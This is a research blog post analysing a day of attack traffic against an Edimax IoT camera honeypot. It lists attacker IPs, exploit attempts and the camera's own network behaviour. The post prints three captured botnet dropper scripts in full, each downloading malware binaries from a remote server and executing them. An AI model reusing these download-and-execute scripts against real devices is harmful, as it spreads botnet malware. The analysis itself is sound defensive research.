Analysis of Edimax IC-7113W IoT Honeypot
Authors: Simona Musilova and Sebastian Garcia
This blog is the first in a series of analysis on attacks and traffic in our IoT honeypot laboratory. The honeypot is an IoT camera model Edimax IC-7113W. The capture started on Oct 17th, 2018 at 7:44:04 AM CEST and it lasted 24 hours. The total number of packets was 37,854.
The complete set of files for this dataset can be found here https://mcfp.felk.cvut.cz/publicDatasets/IoTDatasets/CTU-Honeypot-Capture-2-155/
Since the attacks on honeypots vary depending on the day, it was very interesting for us to analyze how the camera was attacked and if the attackers realized that it was a camera. The goal of the analysis on IoT honeypots is to know if there are other attacks apart from TELNET brute forcing, SSH brute forcing and known web exploits.
In the capture, the camera uses the internal IP address 192.168.100.109 and the gateway 192.168.100.1. Port 80/TCP on our external IP address is redirected from the internet to the camera to have direct access. This port is used in the camera for its web page.
This analysis focuses on the following questions:
Did anyone try to connect to the camera?
Which credentials were used?
Did anyone try to exploit some known vulnerability?
Are there any interesting IP addresses or subnets which tried to connect to the camera?
Is the camera doing anything suspicious?
ORDINARY INTERNET ATTACKS
An attack from masscan
One of the first attacks received this day was from the masscan scanner. Since the honeypot was opened to the internet, it was scanned a lot. In this case we saw some IP addresses attacking us with the MASSCAN[1] tool. MASSCAN is a fast internet port scanner. No other activities were seen from these addresses. This is a very common background noise attack from the internet.
IP addresses scanning:
27.121.100.5
104.200.16.191
[1] https://github.com/robertdavidgraham/masscan
Web Crawler
The honeypot camera was also targeted by web crawlers, this one is coming from Japan.
IP address:
139.162.106.181
Systeminfo
In this pcap we captured an attempt to gain configuration information from the honeypot camera. The other host sent us a /systemInfo HTTP request which provides information about the system configuration, such as the software and hardware parameters. In this packet we can also see the host value set up to localhost and port 8080 even though the packet came from the internet and we don’t use this port in our infrastructure at all.
IP address:
24.198.161.177
EXPLOITING VULNERABILITIES
XDEBUG RCE
We could also identify an IP address trying to attack our camera using the XDEBUG remote code vulnerability. This vulnerability exists in any server that has Debug mode activated in PHP. The attacker sent XDEBUG_SESSION_START=phpstorm. The attack didn’t work. No other activities coming from this IP address were captured.
IP address:
5.8.54.27
GPON
Also there were some attempts to exploit known vulnerabilities. First to mention is the vulnerability in GPON home routers. After sending /GponForm/diag_Form?images/ as a HTTP request, the attacker gains access to the router and can manage it. At least 5 botnet families (Hajime, Mettle, Mirai, Muhstik and Satori) are known to exploit this vulnerability. After gaining the access to the router, it would download gemini.mips script from the IP address 142.93.175.10 and run it. Our honeypot is not a GPON router so this attack was not successful.
IP address:
186.241.64.12
http://blog.netlab.360.com/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others-en/
login.cgi
Another attack we captured was targeted to the login.cgi script. The attacker sent commands to execute in the HTTP request. It was supposed to download izuku.sh script from the IP address 77.87.77.250 and then run it. The izuku.sh script is then downloading and executing three different versions of izuku malware one by one (arm, mips and mpsl versions), the script is below. From further analysis of the captured data we know that this attack was not successful.
Another interesting thing is in this attack is the source address of this packet. It is coming from the router in our network. We found out that other device in our internal network which we had infected earlier tried to attack our external IP address, port 80. Thanks to NAT rules on the router the source IP address was changed from the original value to the router’s IP address.
The important part of this attack was that our other IoT infected device was trying to attack others on the Internet. However, as part of the attacks from the other IoT infected device, the public IP address used in the Edimax camera honeypot was found and attacked. The fact that one of our IoT malware found our own honeypot tells us it is possible to find our honeypot without problems.
izuku.sh (downloaded by us)
n="izuku.arm izuku.mips izuku.mpsl"
http_server="77.87.77.250"
dirs="/tmp/ /dev/ /dev/shm/ /var/ /var/run/ /var/tmp/"
for dir in $dirs
do
>$dir.file && cd $dir
done
for i in $n
do
cp $SHELL $i
>$i
chmod 777 $i
wget http://$http_server/$i -O- >$i || curl -O http://$http_server/$i
chmod 777 $i
./$i
doneThe very same vulnerability was also used by another host. This host tried to download a script called dlink from IP address 209.141.40.213. This script then downloads and executes mips and mpsl version of sefa malware. We can conclude that this attack was targeted to dlink routers.
dlink (downloaded by us)
cd /tmp;
wget http://209.141.40.213/bins/sefa.mips;
chmod 777 sefa.mips;
./sefa.mips dlink.mips;
rm -rf sefa.mips
cd /tmp;
wget http://209.141.40.213/bins/sefa.mpsl;
chmod 777 sefa.mpsl;
./sefa.mpsl dlink.mpsl;
rm -rf sefa.mpslIP address:
175.106.11.179
Some other vulnerabilities
We captured another attack from multiple IP addresses downloading from the very same server as before. The executed command downloads and executes the avtech script from the IP address 209.141.40.213. Then it’s downloading and executing arm version of Sefa malware. This attack was targeted to AVtech cameras vulnerability. The attacker can send HTML request with the wget command, which is run without any verification. As a result, any command can be executed with root privileges without authentication. [2] This behavior is characteristic for Mirai and Gafgyt botnes. [3]
[2] https://www.exploit-db.com/exploits/40500
[3]https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/
avtech (downloaded by us)
cd /tmp;
wget http://209.141.40.213/bins/sefa.arm;
chmod 777 sefa.arm;
./sefa.arm avtech.arm;
rm -rf sefa.armIP addresses:
89.210.83.2
91.140.66.131
5.8.114.43
213.222.234.4
THE NORMAL BEHAVIOUR OF THE CAMERA
One of the good opportunities of analyzing a honeypot camera is that it’s possible to see its normal traffic. In this case the Edimax camera continually did the following activities:
Resolve the hostname www.myedimax.com
This hostname has a CNAME to ddns.myedimax.com
This hostname has a CNAME to ns.myedimax.com
This hostname resolves to 122.248.252.67
The use of dynamic DNS for such an important hostname is not a good sign of trust.
Non-conventional TLS port
The camera connects to the IP 122.248.252.67 on port 55443/TCP to use the TLS protocol.
The use of a por that is not 443/TCP for TLS official connections is discouraged in the community since it does not provide any trust on the provider. Moreover, the port is going to be blocked by most organizations and companies for outgoing connections.
Usage of UDP connections
The camera keeps sending UDP traffic to the Edimax IP addresses. Some examples packets of this behavior can be seen in the following Figure.
The UDP packets sent by the Edimax camera were discovered by http://blog.guntram.de/?p=37 to be encoded, not encrypted. So it is possible to see their content.
Comparing with blog post of http://blog.guntram.de/?p=37, it is clear that now Edimax changed the UDP ports used for this communication, but they didn’t changed the encoding.
Example of decoded data:
CONCLUSIONS
Our honeypot camera was targeted by attackers trying to exploit some known AVtech and D-Link vulnerabilities abusing the CGI's ability to run commands without authentication. Those attacks were not successful since our camera the targeted device.
Some more attempts to gain access to the device were captured. For this purpose the attackers tried to exploit a known GPON vulnerability. They also tried to connect to the debug mode of a PHP server. None of those tries was successful.
Attackers tried to gain system information from the device, and, as expected, our honeypot camera was scanned a lot by internet scanning tools and web crawler.
We didn't see any interesting IP address or subnets trying to connect to our device in this capture apart from the expected attacks on the Internet. But we noticed that the Edimax network connections changed the ports a lot of times, probably trying to avoid automatic decoding, however they are still encoding the traffic on UDP ports. We also captured 28 computers were looking for an open HTTP ports on the internet.
Acknowledge
This research was done as part of our ongoing collaboration with Avast Software in the Aposemat project. The Aposemat project is funded by Avast Software.
